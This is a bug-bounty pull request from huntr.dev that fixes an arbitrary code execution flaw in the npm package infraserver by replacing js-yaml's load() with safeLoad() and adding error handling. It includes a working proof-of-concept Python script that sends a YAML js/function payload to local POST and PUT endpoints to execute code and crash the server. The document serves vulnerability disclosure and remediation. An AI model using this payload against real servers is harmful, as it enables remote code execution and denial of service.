Security Fix for Arbitrary Code Execution - huntr.dev

[huntr-helper]

https://huntr.dev/users/alromh87 has fixed the Arbitrary Code Execution vulnerability 🔨. alromh87 has been awarded $25 for fixing the vulnerability through the huntr bug bounty program 💵. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#2
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/npm/infraserver/1/README.md

User Comments:

📊 Metadata *

infraserver is a data server, this package are vulnerable to Arbitrary Code Execution due to the default usage of the function load() of the package js-yaml instead of its secure replacement, safeLoad().

It took my a little while to implement the POC properly, but now its cleanly solved

Bounty URL: https://www.huntr.dev/bounties/1-npm-infraserver

⚙️ Description *

I replaced the use of yaml.load() with yaml.safeLoad() and added handling of error if loading fails.

💻 Technical Description *

Two vulnerable endpoints where found on infra POST and PUT

Code execution is avoided by using yamlLoad(), but just replacing the function (as the other PR) malicious payload would trigger DoS, so I avoided that by using try ... catch.

🐛 Proof of Concept (PoC) *

1. Download Infra
   git clone https://github.com/xuemen/Infra
2. Enter directory
   cd infra
3. Start server
   node server/Infra.data.js
4. Create poc.py

#!/bin/python
# -*- coding: utf-8 -*-

import requests

print ('Post request -----------------------')
r = requests.post('http://localhost:46372', data="hasOwnProperty: !<tag:yaml.org,2002:js/function> ' () => {console.log(`This is code executed on the server, started from payload`)}' ")
print (r)
print (r.text)

print ('\n\n\n')

print ('Put request ------------------------')
r = requests.put('http://localhost:46372', data="hasOwnProperty: !<tag:yaml.org,2002:js/function> ' () => {console.log(`This is code executed on the server, started from payload`)}' ")
print (r)
print (r.text)

5. Execute poc
   python poc.py
6. Server will execute injected code printing This is code executed on the server, started from payload to console and then die causing DoS

Before fix

Only repleacing use of function (incomplete fix)

🔥 Proof of Fix (PoF) *

After fix no code is executed and server stays online

👍 User Acceptance Testing (UAT)

Functionality unafected